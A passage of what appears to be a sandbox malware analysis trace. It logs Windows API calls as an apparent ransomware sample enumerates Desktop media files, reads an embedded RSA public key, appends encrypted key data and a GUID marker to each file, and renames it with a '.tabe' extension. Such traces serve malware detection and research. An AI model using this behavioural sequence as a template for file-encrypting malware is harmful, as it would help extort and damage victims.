3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\TIvH4DxnXUjeg2Kb.mp3") returned=".mp3" [0127.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\TIvH4DxnXUjeg2Kb.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\losytxwfhkchcp_\\tivh4dxnxujeg2kb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.620] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=40671) returned 1 [0127.620] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.621] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9eb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.621] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.622] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x9edf, lpOverlapped=0x0) returned 1 [0127.623] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.623] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.623] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.623] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866e18) returned 1 [0127.624] CryptCreateHash (in: hProv=0x866e18, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.624] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.624] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.624] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.624] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.624] CryptReleaseContext (hProv=0x866e18, dwFlags=0x0) returned 1 [0127.624] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.624] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.624] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.624] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.625] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9edf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.625] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.625] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.625] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.625] CloseHandle (hObject=0x618) returned 1 [0127.626] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\TIvH4DxnXUjeg2Kb.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\losytxwfhkchcp_\\tivh4dxnxujeg2kb.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\TIvH4DxnXUjeg2Kb.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\losytxwfhkchcp_\\tivh4dxnxujeg2kb.mp3.tabe")) returned 1 [0127.627] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecafd230, ftCreationTime.dwHighDateTime=0x1d5e652, ftLastAccessTime.dwLowDateTime=0xc8954e80, ftLastAccessTime.dwHighDateTime=0x1d5e791, ftLastWriteTime.dwLowDateTime=0xc8954e80, ftLastWriteTime.dwHighDateTime=0x1d5e791, nFileSizeHigh=0x0, nFileSizeLow=0x1632b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="wpZTW4o.mp4", cAlternateFileName="")) returned 1 [0127.627] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\wpZTW4o.mp4") returned=".mp4" [0127.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\wpZTW4o.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\losytxwfhkchcp_\\wpztw4o.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.627] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=90923) returned 1 [0127.627] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.628] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16305, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.628] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.630] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1632b, lpOverlapped=0x0) returned 1 [0127.631] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.631] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.631] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.631] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866e18) returned 1 [0127.632] CryptCreateHash (in: hProv=0x866e18, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.632] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.632] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.632] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.632] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.632] CryptReleaseContext (hProv=0x866e18, dwFlags=0x0) returned 1 [0127.632] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.632] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.632] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.632] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.633] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1632b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.633] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.633] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.633] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.633] CloseHandle (hObject=0x618) returned 1 [0127.634] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\wpZTW4o.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\losytxwfhkchcp_\\wpztw4o.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\lOsYtxWFHKcHCp_\\wpZTW4o.mp4.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\losytxwfhkchcp_\\wpztw4o.mp4.tabe")) returned 1 [0127.635] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecafd230, ftCreationTime.dwHighDateTime=0x1d5e652, ftLastAccessTime.dwLowDateTime=0xc8954e80, ftLastAccessTime.dwHighDateTime=0x1d5e791, ftLastWriteTime.dwLowDateTime=0xc8954e80, ftLastWriteTime.dwHighDateTime=0x1d5e791, nFileSizeHigh=0x0, nFileSizeLow=0x1632b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="wpZTW4o.mp4", cAlternateFileName="")) returned 0 [0127.635] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.635] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.635] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.635] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\") returned="QWknIzbnk0DsmMMws2\\" [0127.635] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\") returned="lFYNBb9GU\\" [0127.636] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\") returned="Yr-pcf 3y122NkdCREb\\" [0127.636] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0127.636] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.636] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.636] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.636] PathFindFileNameW (pszPath="") returned="" [0127.636] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70443120, ftCreationTime.dwHighDateTime=0x1d5dc96, ftLastAccessTime.dwLowDateTime=0xa83994e0, ftLastAccessTime.dwHighDateTime=0x1d5d998, ftLastWriteTime.dwLowDateTime=0xa83994e0, ftLastWriteTime.dwHighDateTime=0x1d5d998, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.637] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70443120, ftCreationTime.dwHighDateTime=0x1d5dc96, ftLastAccessTime.dwLowDateTime=0xa83994e0, ftLastAccessTime.dwHighDateTime=0x1d5d998, ftLastWriteTime.dwLowDateTime=0xa83994e0, ftLastWriteTime.dwHighDateTime=0x1d5d998, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.637] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a88da60, ftCreationTime.dwHighDateTime=0x1d5df02, ftLastAccessTime.dwLowDateTime=0xe2db7400, ftLastAccessTime.dwHighDateTime=0x1d5e7fe, ftLastWriteTime.dwLowDateTime=0xe2db7400, ftLastWriteTime.dwHighDateTime=0x1d5e7fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="buRy9u8qd_k1tP7VhT", cAlternateFileName="BURY9U~1")) returned 1 [0127.637] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7508d870, ftCreationTime.dwHighDateTime=0x1d5dbc2, ftLastAccessTime.dwLowDateTime=0x1f4da60, ftLastAccessTime.dwHighDateTime=0x1d5d9f0, ftLastWriteTime.dwLowDateTime=0x1f4da60, ftLastWriteTime.dwHighDateTime=0x1d5d9f0, nFileSizeHigh=0x0, nFileSizeLow=0x18b8a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="jY-OZ9ZzC PaHdQ_l3O.wav", cAlternateFileName="JY-OZ9~1.WAV")) returned 1 [0127.637] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\jY-OZ9ZzC PaHdQ_l3O.wav") returned=".wav" [0127.637] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\jY-OZ9ZzC PaHdQ_l3O.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\jy-oz9zzc pahdq_l3o.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.638] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=101258) returned 1 [0127.638] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.639] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.639] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.641] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x18b8a, lpOverlapped=0x0) returned 1 [0127.641] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.641] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.642] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.642] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.642] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.642] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.642] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.642] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.642] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.642] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.643] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.643] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.643] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.643] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.644] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18b8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.644] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.644] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.644] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.644] CloseHandle (hObject=0x618) returned 1 [0127.645] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\jY-OZ9ZzC PaHdQ_l3O.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\jy-oz9zzc pahdq_l3o.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\jY-OZ9ZzC 